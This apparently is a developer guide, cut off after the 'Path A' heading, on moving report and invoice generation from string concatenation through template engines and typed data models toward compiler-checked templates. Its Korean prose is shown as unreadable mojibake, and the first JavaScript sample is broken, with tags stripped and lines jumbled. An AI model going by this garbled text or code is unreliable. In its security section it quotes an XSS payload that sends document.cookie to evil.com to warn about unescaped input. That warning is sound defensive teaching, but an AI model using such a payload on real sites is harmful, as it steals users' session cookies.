์ํํ ๋ฌธ์์ด ๊ฒฐํฉ๋ถํฐ ๊ฒฌ๊ณ ํ ํ์ -์ธ์ดํ DSL๊น์ง, ๋ฌธ์ ์์ฑ์ ๋ชจ๋ ์คํํธ๋ผ์ ํ์ํฉ๋๋ค. ์ ๋ขฐํ ์ ์๋ ๋ณด๊ณ ์ ์์ฑ ์์คํ ๊ตฌ์ถ์ ์ํ ๊ฐ๋ฐ์ ์ข ํฉ ๊ฐ์ด๋์ ๋๋ค.
Blob์ ๋์ด์: ํ์ -์ธ์ดํ ๋ณด๊ณ ์ ์์ฑ์ ์ํ ์ข ํฉ ๊ฐ์ด๋
๋ง์ ์ํํธ์จ์ด ๊ฐ๋ฐ์๋ผ๋ฉด ์ ์๊ณ ์๋ ์กฐ์ฉํ ๊ณตํฌ๊ฐ ์์ต๋๋ค. ๋ฐ๋ก ๋ณต์กํ ์ ํ๋ฆฌ์ผ์ด์ ์์ "๋ณด๊ณ ์ ์์ฑ" ๋ฒํผ์ ํด๋ฆญํ ๋ ๋๋ฐ๋๋ ๋๋์ ๋๋ค. PDF๊ฐ ์ ๋๋ก ๋ ๋๋ง๋ ๊น? ์ก์ฅ ๋ฐ์ดํฐ๊ฐ ์ ๋ ฌ๋ ๊น? ์๋๋ฉด ์ ์ ํ ๋ง๊ฐ์ง ๋ฌธ์ ์คํฌ๋ฆฐ์ท๊ณผ ํจ๊ป ๋ณด๊ธฐ ํํ `null` ๊ฐ, ์๋ชป ์ ๋ ฌ๋ ์ด, ํน์ ๋ ์ฌํ๊ฒ๋ ์ ์ ์๋ ์๋ฒ ์ค๋ฅ๊ฐ ๋ด๊ธด ์ง์ ํฐ์ผ์ด ๋์ฐฉํ ๊น?
์ด๋ฌํ ๋ถํ์ค์ฑ์ ์ฐ๋ฆฌ๊ฐ ๋ฌธ์ ์์ฑ์ ์ ๊ทผํ๋ ๋ฐฉ์์ ๊ทผ๋ณธ์ ์ธ ๋ฌธ์ ์์ ๋น๋กฏ๋ฉ๋๋ค. ์ฐ๋ฆฌ๋ PDF, DOCX, HTML ํ์ผ๊ณผ ๊ฐ์ ๊ฒฐ๊ณผ๋ฌผ์ ๋น์ ํ ํ ์คํธ ๋ฉ์ด๋ฆฌ(blob)๋ก ์ทจ๊ธํฉ๋๋ค. ๋ฌธ์์ด์ ์ด์ด ๋ถ์ด๊ณ , ๋์จํ๊ฒ ์ ์๋ ๋ฐ์ดํฐ ๊ฐ์ฒด๋ฅผ ํ ํ๋ฆฟ์ ์ ๋ฌํ๋ฉฐ ์ต์์ ๊ฒฐ๊ณผ๋ฅผ ๋ฐ๋๋๋ค. ๊ฒ์ฆ์ด ์๋ ํฌ๋ง์ ๊ธฐ๋ฐํ ์ด ์ ๊ทผ ๋ฐฉ์์ ๋ฐํ์ ์ค๋ฅ, ์ ์ง๋ณด์ ๊ณจ์นซ๊ฑฐ๋ฆฌ, ๊ทธ๋ฆฌ๊ณ ์ทจ์ฝํ ์์คํ ์ ๋ง๋๋ ์ง๋ฆ๊ธธ์ ๋๋ค.
๋ ๋์ ๋ฐฉ๋ฒ์ด ์์ต๋๋ค. ์ ์ ํ์ดํ์ ํ์ ํ์ฉํ์ฌ ๋ณด๊ณ ์ ์์ฑ์ ๊ณ ์ํ ์์ ์์ ์์ธก ๊ฐ๋ฅํ ๊ณผํ์ผ๋ก ๋ณํํ ์ ์์ต๋๋ค. ์ด๊ฒ์ด ๋ฐ๋ก ํ์ -์ธ์ดํ ๋ณด๊ณ ์ ์์ฑ์ ์ธ๊ณ์ด๋ฉฐ, ์ปดํ์ผ๋ฌ๊ฐ ๊ฐ์ฅ ์ ๋ขฐํ ์ ์๋ ํ์ง ๋ณด์ฆ ํํธ๋๊ฐ ๋์ด ๋ฌธ์ ๊ตฌ์กฐ์ ์ด๋ฅผ ์ฑ์ฐ๋ ๋ฐ์ดํฐ๊ฐ ํญ์ ๋๊ธฐํ๋๋๋ก ๋ณด์ฅํ๋ ๊ดํ์ ๋๋ค. ์ด ๊ฐ์ด๋๋ ๋ฌธ์์ด ์กฐ์์ ํผ๋์ค๋ฌ์ด ํฉ๋ฌด์ง์์๋ถํฐ ๊ท์จ ์๊ณ ํ๋ ฅ์ ์ธ ํ์ -์ธ์ดํ ์์คํ ์ ์ธ๊ณ๋ก ๋์๊ฐ๋, ๋ฌธ์ ์์ฑ์ ๋ค์ํ ๋ฐฉ๋ฒ์ ํตํ ์ฌ์ ์ ๋๋ค. ๊ฒฌ๊ณ ํ๊ณ , ์ ์ง๋ณด์ ๊ฐ๋ฅํ๋ฉฐ, ์ค๋ฅ ์๋ ์ ํ๋ฆฌ์ผ์ด์ ์ ๊ตฌ์ถํ๊ณ ์ ํ๋ ๊ฐ๋ฐ์, ์ํคํ ํธ, ๊ธฐ์ ๋ฆฌ๋์๊ฒ ์ด๊ฒ์ ๋น์ ์ ์ง๋๊ฐ ๋ ๊ฒ์ ๋๋ค.
๋ฌธ์ ์์ฑ ์คํํธ๋ผ: ๋ฌด์ ๋ถ ์ํ์์ ์ํคํ ์ฒ๊น์ง
๋ชจ๋ ๋ฌธ์ ์์ฑ ๊ธฐ์ ์ด ๋์ผํ๊ฒ ๋ง๋ค์ด์ง์ง๋ ์์์ต๋๋ค. ๊ทธ๊ฒ๋ค์ ์์ ์ฑ, ์ ์ง๋ณด์์ฑ, ๋ณต์ก์ฑ์ ์คํํธ๋ผ ์์ ์กด์ฌํฉ๋๋ค. ์ด ์คํํธ๋ผ์ ์ดํดํ๋ ๊ฒ์ ํ๋ก์ ํธ์ ์ ํฉํ ์ ๊ทผ ๋ฐฉ์์ ์ ํํ๋ ์ฒซ ๋ฒ์งธ ๋จ๊ณ์ ๋๋ค. ์ฐ๋ฆฌ๋ ์ด๋ฅผ ๋ค ๊ฐ์ง ๋๋ ทํ ์์ค์ ์ฑ์๋ ๋ชจ๋ธ๋ก ์๊ฐํํ ์ ์์ต๋๋ค:
- ๋ ๋ฒจ 1: ์์ ๋ฌธ์์ด ๊ฒฐํฉ(Raw String Concatenation) - ๊ฐ์ฅ ๊ธฐ๋ณธ์ ์ด๊ณ ๊ฐ์ฅ ์ํํ ๋ฐฉ๋ฒ์ผ๋ก, ํ ์คํธ์ ๋ฐ์ดํฐ ๋ฌธ์์ด์ ์๋์ผ๋ก ๊ฒฐํฉํ์ฌ ๋ฌธ์๋ฅผ ๊ตฌ์ถํฉ๋๋ค.
- ๋ ๋ฒจ 2: ํ ํ๋ฆฟ ์์ง(Template Engines) - ํํ(ํ ํ๋ฆฟ)๊ณผ ๋ก์ง(๋ฐ์ดํฐ)์ ๋ถ๋ฆฌํ๋ ์๋นํ ๊ฐ์ ์ด์ง๋ง, ์ข ์ข ๋ ์ฌ์ด์ ๊ฐ๋ ฅํ ์ฐ๊ฒฐ์ด ๋ถ์กฑํฉ๋๋ค.
- ๋ ๋ฒจ 3: ๊ฐ๋ ฅํ ํ์ ์ ๋ฐ์ดํฐ ๋ชจ๋ธ(Strongly-Typed Data Models) - ํ์ ์์ ์ฑ์ผ๋ก ๋ค์ด์๋ ์ฒซ ๋ฒ์งธ ์ค์ง์ ์ธ ๋จ๊ณ๋ก, ํ ํ๋ฆฟ์ ์ ๋ฌ๋๋ ๋ฐ์ดํฐ ๊ฐ์ฒด์ ๊ตฌ์กฐ์ ์ ํ์ฑ์ ๋ณด์ฅ๋์ง๋ง ํ ํ๋ฆฟ์ ์ฌ์ฉ ๋ฐฉ์์ ๋ณด์ฅ๋์ง ์์ต๋๋ค.
- ๋ ๋ฒจ 4: ์์ ํ ํ์ -์ธ์ดํ ์์คํ (Fully Type-Safe Systems) - ์ ๋ขฐ์ฑ์ ์ ์ ์ผ๋ก, ์ปดํ์ผ๋ฌ๊ฐ ํ์ ์ธ์ ํ ํ๋ฆฟ์ด๋ ์ฝ๋ ๊ธฐ๋ฐ ๋๋ฉ์ธ ํนํ ์ธ์ด(DSL)๋ฅผ ์ฌ์ฉํ์ฌ ๋ฐ์ดํฐ ๊ฐ์ ธ์ค๊ธฐ๋ถํฐ ์ต์ข ๋ฌธ์ ๊ตฌ์กฐ๊น์ง ์ ์ฒด ํ๋ก์ธ์ค๋ฅผ ์ดํดํ๊ณ ๊ฒ์ฆํฉ๋๋ค.
์ด ์คํํธ๋ผ์ ์๋ก ์ฌ๋ผ๊ฐ์๋ก, ์ฐ๋ฆฌ๋ ์ด๊ธฐ์ ๋จ์ํ ์๋๋ฅผ ์ฝ๊ฐ ํฌ๊ธฐํ๋ ๋์ ์ฅ๊ธฐ์ ์ธ ์์ ์ฑ, ๊ฐ๋ฐ์ ์ ๋ขฐ๋, ๋ฆฌํฉํ ๋ง ์ฉ์ด์ฑ์์ ์์ฒญ๋ ์ด๋์ ์ป์ต๋๋ค. ๊ฐ ๋ ๋ฒจ์ ์์ธํ ์ดํด๋ณด๊ฒ ์ต๋๋ค.
๋ ๋ฒจ 1: ์์ ๋ฌธ์์ด ๊ฒฐํฉ์ "๋ฌด๋ฒ์ง๋"
์ฐ๋ฆฌ ์คํํธ๋ผ์ ๊ฐ์ฅ ์๋์๋ ๊ฐ์ฅ ์ค๋๋๊ณ ๊ฐ์ฅ ๊ฐ๋จํ ๊ธฐ์ ์ด ์์ต๋๋ค: ๋ฌธ์์ด์ ๋ง ๊ทธ๋๋ก ๋๋ ค ๋ถ์ฌ ๋ฌธ์๋ฅผ ๋ง๋๋ ๊ฒ์ ๋๋ค. ์ด๋ ์ข ์ข "๊ทธ๋ฅ ํ ์คํธ์ผ ๋ฟ์ธ๋ฐ, ์ผ๋ง๋ ์ด๋ ต๊ฒ ์ด?"๋ผ๋ ์๊ฐ์์ ์์งํ๊ฒ ์์๋ฉ๋๋ค.
์ค์ ๋ก, JavaScript์ ๊ฐ์ ์ธ์ด์์๋ ๋ค์๊ณผ ๊ฐ์ด ๋ณด์ผ ์ ์์ต๋๋ค:
(์ฝ๋ ์์ )
Customer: ' + invoice.customer.name + 'function createSimpleInvoiceHtml(invoice) {
let html = '';
html += 'Invoice #' + invoice.id + '
';
html += '
html += '
'; ';Item Price
for (const item of invoice.items) {
html += ' ';' + item.name + ' ' + item.price + '
}
html += '
html += '';
return html;
}
์ด ์ฌ์ํ ์์ ์์์กฐ์ฐจ ํผ๋์ ์จ์์ด ๋ฟ๋ ค์ง๋๋ค. ์ด ์ ๊ทผ ๋ฐฉ์์ ์ํ์ผ๋ก ๊ฐ๋ ์ฐจ ์์ผ๋ฉฐ, ๋ณต์ก์ฑ์ด ์ฆ๊ฐํจ์ ๋ฐ๋ผ ๊ทธ ์ฝ์ ์ด ๋ช ๋ฐฑํด์ง๋๋ค.
๋ชฐ๋ฝ: ์ํ ๋ชฉ๋ก
- ๊ตฌ์กฐ์ ์ค๋ฅ: ๋ซ๋ `` ๋๋ `` ํ๊ทธ๋ฅผ ์์ด๋ฒ๋ฆฌ๊ฑฐ๋, ๋ฐ์ดํ๋ฅผ ์๋ชป ๋ฐฐ์นํ๊ฑฐ๋, ์ค์ฒฉ์ด ์๋ชป๋๋ฉด ๋ฌธ์๋ฅผ ์ ํ ํ์ฑํ์ง ๋ชปํ ์ ์์ต๋๋ค. ์น ๋ธ๋ผ์ฐ์ ๋ ๊นจ์ง HTML์ ๋ํด ๋งค์ฐ ๊ด๋ํ์ง๋ง, ์๊ฒฉํ XML ํ์๋ PDF ๋ ๋๋ง ์์ง์ ๊ทธ๋ฅ ์ถฉ๋ํ ๊ฒ์ ๋๋ค.
- ๋ฐ์ดํฐ ํฌ๋งทํ ์ ์ ๋ชฝ: `invoice.id`๊ฐ `null`์ด๋ฉด ์ด๋ป๊ฒ ๋ ๊น์? ์ถ๋ ฅ์ "Invoice #null"์ด ๋ฉ๋๋ค. `item.price`๊ฐ ํตํ๋ก ํฌ๋งท๋์ด์ผ ํ๋ ์ซ์๋ผ๋ฉด ์ด๋จ๊น์? ๊ทธ ๋ก์ง์ ๋ฌธ์์ด ๊ตฌ์ถ๊ณผ ์ง์ ๋ถํ๊ฒ ์ฝํ๊ฒ ๋ฉ๋๋ค. ๋ ์ง ํฌ๋งทํ ์ ๋ฐ๋ณต๋๋ ๊ณจ์นซ๊ฑฐ๋ฆฌ๊ฐ ๋ฉ๋๋ค.
- ๋ฆฌํฉํ ๋ง์ ๋ซ: ํ๋ก์ ํธ ์ ์ฒด์ ์ผ๋ก `customer.name` ์์ฑ์ `customer.legalName`์ผ๋ก ๋ณ๊ฒฝํ๊ธฐ๋ก ๊ฒฐ์ ํ๋ค๊ณ ์์ํด ๋ณด์ธ์. ์ปดํ์ผ๋ฌ๋ ์ฌ๊ธฐ์ ๋น์ ์ ๋์ธ ์ ์์ต๋๋ค. ๋น์ ์ ์ด์ ๋งค์ง ์คํธ๋ง์ผ๋ก ๊ฐ๋ํ ์ฝ๋๋ฒ ์ด์ค๋ฅผ ํค์น๋ฉฐ ํ๋๋ ๋์น์ง ์๊ธฐ๋ฅผ ๋ฐ๋ผ๋ฉด์ ์ํํ `find-and-replace` ์๋ฌด๋ฅผ ์ํํด์ผ ํฉ๋๋ค.
- ๋ณด์ ์ฌ์: ์ด๊ฒ์ด ๊ฐ์ฅ ์น๋ช ์ ์ธ ์คํจ์ ๋๋ค. `item.name`๊ณผ ๊ฐ์ ๋ฐ์ดํฐ๊ฐ ์ฌ์ฉ์ ์ ๋ ฅ์์ ์ค๊ณ ์๊ฒฉํ๊ฒ ์ด๊ท ์ฒ๋ฆฌ๋์ง ์์ผ๋ฉด, ๋น์ ์ ๊ฑฐ๋ํ ๋ณด์ ๊ตฌ๋ฉ์ ๊ฐ๊ฒ ๋ฉ๋๋ค. `<script>fetch('//evil.com/steal?c=' + document.cookie)</script>`์ ๊ฐ์ ์ ๋ ฅ์ ์ฌ์ฉ์์ ๋ฐ์ดํฐ๋ฅผ ์์์ํฌ ์ ์๋ ๊ต์ฐจ ์ฌ์ดํธ ์คํฌ๋ฆฝํ (XSS) ์ทจ์ฝ์ ์ ๋ง๋ญ๋๋ค.
๊ฒฐ๋ก : ์์ ๋ฌธ์์ด ๊ฒฐํฉ์ ๋ถ์ฑ์ ๋๋ค. ๊ทธ ์ฌ์ฉ์ ๊ตฌ์กฐ์ ๋ณด์์ด ์ค์ํ์ง ์์ ๋ด๋ถ ๋ก๊น ๊ณผ ๊ฐ์ ์ ๋์ ์ผ๋ก ๊ฐ์ฅ ๊ฐ๋จํ ๊ฒฝ์ฐ์๋ง ์ ํ๋์ด์ผ ํฉ๋๋ค. ์ฌ์ฉ์ ๋๋ฉด ๋๋ ๋น์ฆ๋์ค์ ์ค์ํ ๋ฌธ์์ ๊ฒฝ์ฐ, ์ฐ๋ฆฌ๋ ์คํํธ๋ผ์ ์๋ก ์ฌ๋ผ๊ฐ์ผ ํฉ๋๋ค.
๋ ๋ฒจ 2: ํ ํ๋ฆฟ ์์ง์ผ๋ก ํผ๋์ฒ ์ฐพ๊ธฐ
๋ ๋ฒจ 1์ ํผ๋์ ์ธ์ํ๊ณ , ์ํํธ์จ์ด ์ธ๊ณ๋ ํจ์ฌ ๋ ๋์ ํจ๋ฌ๋ค์์ธ ํ ํ๋ฆฟ ์์ง์ ๊ฐ๋ฐํ์ต๋๋ค. ํต์ฌ ์ฒ ํ์ ๊ด์ฌ์ฌ์ ๋ถ๋ฆฌ์ ๋๋ค. ๋ฌธ์์ ๊ตฌ์กฐ์ ํํ("๋ทฐ")์ ํ ํ๋ฆฟ ํ์ผ์ ์ ์๋๊ณ , ์ ํ๋ฆฌ์ผ์ด์ ์ ์ฝ๋๋ ๋ฐ์ดํฐ("๋ชจ๋ธ")๋ฅผ ์ ๊ณตํ๋ ์ฑ ์์ ์ง๋๋ค.
์ด ์ ๊ทผ ๋ฐฉ์์ ์ด๋์๋ ์์ต๋๋ค. Handlebars์ Mustache (JavaScript), Jinja2 (Python), Thymeleaf (Java), Liquid (Ruby) ๋ฑ ๋ชจ๋ ์ฃผ์ ํ๋ซํผ๊ณผ ์ธ์ด์์ ์์๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค. ๊ตฌ๋ฌธ์ ๋ค์ํ์ง๋ง ํต์ฌ ๊ฐ๋ ์ ๋ณดํธ์ ์ ๋๋ค.
์ฐ๋ฆฌ์ ์ด์ ์์ ๋ ๋ ๊ฐ์ ๋ณ๊ฐ ๋ถ๋ถ์ผ๋ก ๋ณํ๋ฉ๋๋ค:
(ํ ํ๋ฆฟ ํ์ผ: `invoice.hbs`)
<html><body>
<h1>Invoice #{{id}}</h1>
<p>Customer: {{customer.name}}</p>
<table>
<tr><th>Item</th><th>Price</th></tr>
{{#each items}}
<tr><td>{{name}}</td><td>{{price}}</td></tr>
{{/each}}
</table>
</body></html>
(์ ํ๋ฆฌ์ผ์ด์ ์ฝ๋)
const template = Handlebars.compile(templateString);
const invoiceData = {
id: 'INV-123',
customer: { name: 'Global Tech Inc.' },
items: [
{ name: 'Enterprise License', price: 5000 },
{ name: 'Support Contract', price: 1500 }
]
};
const html = template(invoiceData);
์๋ํ ๋์ฝ
- ๊ฐ๋ ์ฑ ๋ฐ ์ ์ง๋ณด์์ฑ: ํ ํ๋ฆฟ์ ๊นจ๋ํ๊ณ ์ ์ธ์ ์ ๋๋ค. ์ต์ข ๋ฌธ์์ฒ๋ผ ๋ณด์ ๋๋ค. ์ด๋ ๋์์ด๋์ ๊ฐ์ด ํ๋ก๊ทธ๋๋ฐ ๊ฒฝํ์ด ์ ์ ํ์์ด๋ผ๋ ํจ์ฌ ์ฝ๊ฒ ์ดํดํ๊ณ ์์ ํ ์ ์๊ฒ ํฉ๋๋ค.
- ๋ด์ฅ๋ ๋ณด์: ๋๋ถ๋ถ์ ์ฑ์ํ ํ ํ๋ฆฟ ์์ง์ ๊ธฐ๋ณธ์ ์ผ๋ก ์ปจํ ์คํธ ์ธ์ ์ถ๋ ฅ ์ด์ค์ผ์ดํ์ ์ํํฉ๋๋ค. ๋ง์ฝ `customer.name`์ ์ ์์ ์ธ HTML์ด ํฌํจ๋์ด ์๋ค๋ฉด, ๊ทธ๊ฒ์ ๋ฌดํดํ ํ ์คํธ๋ก ๋ ๋๋ง๋์ด(`<script>`๊ฐ `<script>`๊ฐ ๋จ) ๊ฐ์ฅ ํํ XSS ๊ณต๊ฒฉ์ ์ํํฉ๋๋ค.
- ์ฌ์ฌ์ฉ์ฑ: ํ ํ๋ฆฟ์ ๊ตฌ์ฑ๋ ์ ์์ต๋๋ค. ํค๋๋ ํธํฐ์ ๊ฐ์ ๊ณตํต ์์๋ "๋ถ๋ถ ํ ํ๋ฆฟ(partials)"์ผ๋ก ์ถ์ถํ์ฌ ์ฌ๋ฌ ๋ค๋ฅธ ๋ฌธ์์์ ์ฌ์ฌ์ฉํ ์ ์์ด ์ผ๊ด์ฑ์ ๋์ด๊ณ ์ค๋ณต์ ์ค์ ๋๋ค.
๋จ์์๋ ์ ๋ น: "๋ฌธ์์ด ๊ธฐ๋ฐ ํ์ (Stringly-Typed)" ๊ณ์ฝ
์ด๋ฌํ ์์ฒญ๋ ๊ฐ์ ์๋ ๋ถ๊ตฌํ๊ณ , ๋ ๋ฒจ 2์๋ ์น๋ช ์ ์ธ ๊ฒฐํจ์ด ์์ต๋๋ค. ์ ํ๋ฆฌ์ผ์ด์ ์ฝ๋(`invoiceData`)์ ํ ํ๋ฆฟ(`{{customer.name}}`) ์ฌ์ด์ ์ฐ๊ฒฐ์ ๋ฌธ์์ด์ ๊ธฐ๋ฐ์ผ๋ก ํฉ๋๋ค. ์ฐ๋ฆฌ์ ์ฝ๋๋ฅผ ๊ผผ๊ผผํ๊ฒ ์ค๋ฅ ๊ฒ์ฌํ๋ ์ปดํ์ผ๋ฌ๋ ํ ํ๋ฆฟ ํ์ผ์ ๋ํ ํต์ฐฐ๋ ฅ์ด ์ ํ ์์ต๋๋ค. ์ปดํ์ผ๋ฌ๋ `'customer.name'`์ ๋ฐ์ดํฐ ๊ตฌ์กฐ์ ๋ํ ์ค์ํ ์ฐ๊ฒฐ์ด ์๋, ๊ทธ์ ๋ ๋ค๋ฅธ ๋ฌธ์์ด๋ก ๋ด ๋๋ค.
์ด๋ ๋ ๊ฐ์ง ํํ๊ณ ๊ตํํ ์คํจ ๋ชจ๋๋ก ์ด์ด์ง๋๋ค:
- ์คํ: ๊ฐ๋ฐ์๊ฐ ํ ํ๋ฆฟ์ `{{customer.nane}}`์ด๋ผ๊ณ ์ค์๋ก ์์ฑํฉ๋๋ค. ๊ฐ๋ฐ ์ค์๋ ์ค๋ฅ๊ฐ ์์ต๋๋ค. ์ฝ๋๋ ์ปดํ์ผ๋๊ณ ์ ํ๋ฆฌ์ผ์ด์ ์ ์คํ๋๋ฉฐ, ๋ณด๊ณ ์๋ ๊ณ ๊ฐ ์ด๋ฆ์ด ์์ด์ผ ํ ์๋ฆฌ์ ๊ณต๋ฐฑ์ผ๋ก ์์ฑ๋ฉ๋๋ค. ์ด๋ ์ฌ์ฉ์์๊ฒ ๋๋ฌํ๊ธฐ ์ ๊น์ง ๋ฐ๊ฒฌ๋์ง ์์ ์ ์๋ ์กฐ์ฉํ ์คํจ์ ๋๋ค.
- ๋ฆฌํฉํ ๋ง: ์ฝ๋๋ฒ ์ด์ค ๊ฐ์ ์ ๋ชฉํ๋ก ํ๋ ๊ฐ๋ฐ์๊ฐ `customer` ๊ฐ์ฒด๋ฅผ `client`๋ก ์ด๋ฆ์ ๋ฐ๊ฟ๋๋ค. ์ฝ๋๋ ์ ๋ฐ์ดํธ๋๊ณ ์ปดํ์ผ๋ฌ๋ ๋ง์กฑํฉ๋๋ค. ํ์ง๋ง ์ฌ์ ํ `{{customer.name}}`์ ํฌํจํ๊ณ ์๋ ํ ํ๋ฆฟ์ ์ด์ ๊นจ์ก์ต๋๋ค. ์์ฑ๋๋ ๋ชจ๋ ๋ณด๊ณ ์๋ ๋ถ์ ํํ ๊ฒ์ด๋ฉฐ, ์ด ์น๋ช ์ ์ธ ๋ฒ๊ทธ๋ ๋ฐํ์์, ์๋ง๋ ํ๋ก๋์ ํ๊ฒฝ์์ ๋ฐ๊ฒฌ๋ ๊ฒ์ ๋๋ค.
ํ ํ๋ฆฟ ์์ง์ ์ฐ๋ฆฌ์๊ฒ ๋ ์์ ํ ์ง์ ์ ๊ณตํ์ง๋ง, ๊ธฐ์ด๋ ์ฌ์ ํ ํ๋ค๋ฆฝ๋๋ค. ์ฐ๋ฆฌ๋ ํ์ ์ ํตํด ์ด๋ฅผ ๊ฐํํด์ผ ํฉ๋๋ค.
๋ ๋ฒจ 3: "ํ์ ํ๋ ์ฒญ์ฌ์ง" - ๋ฐ์ดํฐ ๋ชจ๋ธ๋ก ๊ฐํํ๊ธฐ
์ด ๋ ๋ฒจ์ ์ค์ํ ์ฒ ํ์ ์ ํ์ ๋ํ๋ ๋๋ค: "ํ ํ๋ฆฟ์ ๋ณด๋ด๋ ๋ฐ์ดํฐ๋ ์ ํํ๊ณ ์ ์ ์๋์ด์ผ ํ๋ค." ์ฐ๋ฆฌ๋ ์ต๋ช ์, ๋์จํ๊ฒ ๊ตฌ์กฐํ๋ ๊ฐ์ฒด๋ฅผ ์ ๋ฌํ๋ ๊ฒ์ ๋ฉ์ถ๊ณ ๋์ ์ ์ ํ์ ์ธ์ด์ ๊ธฐ๋ฅ์ ์ฌ์ฉํ์ฌ ๋ฐ์ดํฐ์ ๋ํ ์๊ฒฉํ ๊ณ์ฝ์ ์ ์ํฉ๋๋ค.
TypeScript์์๋ `interface`๋ฅผ, C#์ด๋ Java์์๋ `class`๋ฅผ, Python์์๋ `TypedDict`๋ `dataclass`๋ฅผ ์ฌ์ฉํ๋ ๊ฒ์ ์๋ฏธํฉ๋๋ค. ๋๊ตฌ๋ ์ธ์ด์ ๋ฐ๋ผ ๋ค๋ฅด์ง๋ง ์์น์ ๋ณดํธ์ ์ ๋๋ค: ๋ฐ์ดํฐ์ ๋ํ ์ฒญ์ฌ์ง์ ๋ง๋๋ ๊ฒ์ ๋๋ค.
TypeScript๋ฅผ ์ฌ์ฉํ์ฌ ์์ ๋ฅผ ๋ฐ์ ์์ผ ๋ณด๊ฒ ์ต๋๋ค:
(ํ์ ์ ์: `invoice.types.ts`)
interface InvoiceItem {
name: string;
price: number;
quantity: number;
}
interface Customer {
name: string;
address: string;
}
interface InvoiceViewModel {
id: string;
issueDate: Date;
customer: Customer;
items: InvoiceItem[];
totalAmount: number;
}
(์ ํ๋ฆฌ์ผ์ด์ ์ฝ๋)
function generateInvoice(data: InvoiceViewModel): string {
// ์ด์ ์ปดํ์ผ๋ฌ๋ 'data'๊ฐ ์ฌ๋ฐ๋ฅธ ํํ๋ฅผ ๊ฐ์ก์์ *๋ณด์ฅ*ํฉ๋๋ค.
const template = Handlebars.compile(getInvoiceTemplate());
return template(data);
}
์ด๊ฒ์ด ํด๊ฒฐํ๋ ๊ฒ
์ด๊ฒ์ ๋ฐฉ์ ์์ ์ฝ๋ ์ธก๋ฉด์์ ๊ฒ์ ์ฒด์ธ์ ์ ๋๋ค. ์ฐ๋ฆฌ๋ ํ์ -์์ ์ฑ ๋ฌธ์ ์ ์ ๋ฐ์ ํด๊ฒฐํ์ต๋๋ค.
- ์ค๋ฅ ๋ฐฉ์ง: ์ด์ ๊ฐ๋ฐ์๊ฐ ์ ํจํ์ง ์์ `InvoiceViewModel` ๊ฐ์ฒด๋ฅผ ๊ตฌ์ฑํ๋ ๊ฒ์ด ๋ถ๊ฐ๋ฅํฉ๋๋ค. ํ๋๋ฅผ ์์ด๋ฒ๋ฆฌ๊ฑฐ๋, `totalAmount`์ `string`์ ์ ๊ณตํ๊ฑฐ๋, ์์ฑ ์ด๋ฆ์ ์๋ชป ์ ๋ ฅํ๋ฉด ์ฆ์ ์ปดํ์ผ ํ์ ์ค๋ฅ๊ฐ ๋ฐ์ํฉ๋๋ค.
- ํฅ์๋ ๊ฐ๋ฐ์ ๊ฒฝํ: IDE๋ ์ด์ ๋ฐ์ดํฐ ๊ฐ์ฒด๋ฅผ ๋ง๋ค ๋ ์๋ ์์ฑ, ํ์ ๊ฒ์ฌ, ์ธ๋ผ์ธ ๋ฌธ์๋ฅผ ์ ๊ณตํฉ๋๋ค. ์ด๋ ๊ฐ๋ฐ ์๋๋ฅผ ๊ทน์ ์ผ๋ก ๋์ด๊ณ ์ธ์ง ๋ถํ๋ฅผ ์ค์ฌ์ค๋๋ค.
- ์๊ฐ-๋ฌธ์ํ ์ฝ๋: `InvoiceViewModel` ์ธํฐํ์ด์ค๋ ์ก์ฅ ํ ํ๋ฆฟ์ ์ด๋ค ๋ฐ์ดํฐ๊ฐ ํ์ํ์ง์ ๋ํ ๋ช ํํ๊ณ ๋ชจํธํ์ง ์์ ๋ฌธ์ ์ญํ ์ ํฉ๋๋ค.
๋ฏธํด๊ฒฐ ๋ฌธ์ : ๋ง์ง๋ง ๋จ๊ณ
์ ํ๋ฆฌ์ผ์ด์ ์ฝ๋์ ์์ํ๋ ์ฑ์ ๊ตฌ์ถํ์ง๋ง, ํ ํ๋ฆฟ์ผ๋ก ๊ฐ๋ ๋ค๋ฆฌ๋ ์ฌ์ ํ ๊นจ์ง๊ธฐ ์ฝ๊ณ ๊ฒ์ฌ๋์ง ์์ ๋ฌธ์์ด๋ก ๋ง๋ค์ด์ ธ ์์ต๋๋ค. ์ปดํ์ผ๋ฌ๋ `InvoiceViewModel`์ ๊ฒ์ฆํ์ง๋ง ํ ํ๋ฆฟ์ ๋ด์ฉ์ ๋ํด์๋ ์์ ํ ๋ฌด์งํฉ๋๋ค. ๋ฆฌํฉํ ๋ง ๋ฌธ์ ๋ ์ฌ์ ํฉ๋๋ค: TypeScript ์ธํฐํ์ด์ค์์ `customer`๋ฅผ `client`๋ก ๋ฐ๊พธ๋ฉด ์ปดํ์ผ๋ฌ๋ ์ฝ๋ ์์ ์ ๋์์ฃผ์ง๋ง, ํ ํ๋ฆฟ์ `{{customer.name}}` ํ๋ ์ด์คํ๋๊ฐ ์ด์ ๊นจ์ก๋ค๋ ๊ฒฝ๊ณ ๋ ํ์ง ์์ ๊ฒ์ ๋๋ค. ์ค๋ฅ๋ ์ฌ์ ํ ๋ฐํ์์ผ๋ก ๋ฏธ๋ค์ง๋๋ค.
์ง์ ํ ์๋-ํฌ-์๋ ์์ ์ฑ์ ๋ฌ์ฑํ๊ธฐ ์ํด, ์ฐ๋ฆฌ๋ ์ด ๋ง์ง๋ง ๊ฐ๊ทน์ ๋ฉ์ฐ๊ณ ์ปดํ์ผ๋ฌ๊ฐ ํ ํ๋ฆฟ ์์ฒด๋ฅผ ์ธ์ํ๊ฒ ๋ง๋ค์ด์ผ ํฉ๋๋ค.
๋ ๋ฒจ 4: "์ปดํ์ผ๋ฌ์์ ๋๋งน" - ์ง์ ํ ํ์ -์ธ์ดํํฐ ๋ฌ์ฑํ๊ธฐ
์ฌ๊ธฐ๊ฐ ๋ชฉ์ ์ง์ ๋๋ค. ์ด ๋ ๋ฒจ์์๋ ์ปดํ์ผ๋ฌ๊ฐ ์ฝ๋, ๋ฐ์ดํฐ, ๋ฌธ์ ๊ตฌ์กฐ ๊ฐ์ ๊ด๊ณ๋ฅผ ์ดํดํ๊ณ ๊ฒ์ฆํ๋ ์์คํ ์ ๋ง๋ญ๋๋ค. ์ด๋ ์ฐ๋ฆฌ์ ๋ก์ง๊ณผ ํํ ๊ฐ์ ๋๋งน์ ๋๋ค. ์ด ์ต์ฒจ๋จ ์ ๋ขฐ์ฑ์ ๋ฌ์ฑํ๋ ๋ฐ๋ ๋ ๊ฐ์ง ์ฃผ์ ๊ฒฝ๋ก๊ฐ ์์ต๋๋ค.
๊ฒฝ๋ก A: ํ์ -์ธ์ ํ ํ๋ฆฌํ
